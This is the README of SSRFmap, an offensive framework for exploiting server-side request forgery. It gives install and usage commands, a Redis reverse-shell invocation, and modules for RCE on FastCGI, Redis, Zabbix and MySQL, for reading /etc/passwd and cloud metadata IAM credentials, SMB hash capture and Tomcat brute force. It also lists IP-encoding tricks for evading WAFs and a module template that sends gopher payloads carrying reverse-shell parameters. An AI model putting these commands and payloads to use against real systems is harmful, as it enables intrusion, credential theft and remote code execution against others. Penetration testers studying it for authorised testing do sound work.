SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz.
Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.
Basic install from the Github repository.
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap/
python3 ssrfmap.py
usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [--lhost LHOST] [--lport LPORT] [--level LEVEL]
optional arguments:
-h, --help show this help message and exit
-r REQFILE SSRF Request file
-p PARAM SSRF Parameter to target
-m MODULES SSRF Modules to enable
-l HANDLER Start an handler for a reverse shell
--lhost LHOST LHOST reverse shell
--lport LPORT LPORT reverse shell
--level [LEVEL] Level of test to perform (1-5, default: 1)
The default way to use this script is the following.
# Launch a portscan on localhost and read default files
python ssrfmap.py -r data/request.txt -p url -m readfiles,portscan
# Triggering a reverse shell on a Redis
python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242
# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...
A quick way to test the framework can be done with data/example.py
SSRF service.
FLASK_APP=data/example.py flask run &
python ssrfmap.py -r data/request.txt -p url -m readfiles
The following modules are already implemented and can be used with the -m
argument.
Name | Description |
---|---|
fastcgi |
FastCGI RCE |
redis |
Redis RCE |
github |
Github Enterprise RCE < 2.8.7 |
zabbix |
Zabbix RCE |
mysql |
MySQL Command execution |
docker |
Docker Infoleaks via API |
smtp |
SMTP send mail |
portscan |
Scan ports for the host |
networkscan |
HTTP Ping sweep over the network |
readfiles |
Read files such as /etc/passwd |
alibaba |
Read files from the provider (e.g: meta-data, user-data) |
aws |
Read files from the provider (e.g: meta-data, user-data) |
gce |
Read files from the provider (e.g: meta-data, user-data) |
digitalocean |
Read files from the provider (e.g: meta-data, user-data) |
socksproxy |
SOCKS4 Proxy |
smbhash |
Force an SMB authentication via a UNC Path |
tomcat |
Bruteforce attack against Tomcat Manager |
I <3 pull requests :) Feel free to add any feature listed below or a new service.
-
aws and other cloud providers - extract sensitive data from http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy and more
-
handle request with file in requester
-
requester injection point in file (if param = None, check SSRFMAP in reqFile and replace with the payload)
-
add https://github.com/cujanovic/SSRF-Testing ip.py into the ip generator from core.utils
http://0xA9FEA9FE/ Dotless hexadecimal http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow http://0251.00376.000251.0000376/ Dotted octal with padding
The following code is a template if you wish to add a module interacting with a service.
from core.utils import *
import logging
name = "servicename in lowercase"
description = "ServiceName RCE - What does it do"
author = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]
class exploit():
SERVER_HOST = "127.0.0.1"
SERVER_PORT = "4242"
def __init__(self, requester, args):
logging.info("Module '{}' launched !".format(name))
# Handle args for reverse shell
if args.lhost == None: self.SERVER_HOST = input("Server Host:")
else: self.SERVER_HOST = args.lhost
if args.lport == None: self.SERVER_PORT = input("Server Port:")
else: self.SERVER_PORT = args.lport
# Data for the service
# Using a generator to create the host list
# Edit the following ip if you need to target something else
gen_host = gen_ip_list("127.0.0.1", args.level)
for ip in gen_host:
port = "6379"
data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
payload = wrapper_gopher(data, ip , port)
# Handle args for reverse shell
payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
payload = payload.replace("SERVER_PORT", self.SERVER_PORT)
# Send the payload
r = requester.do_request(args.param, payload)
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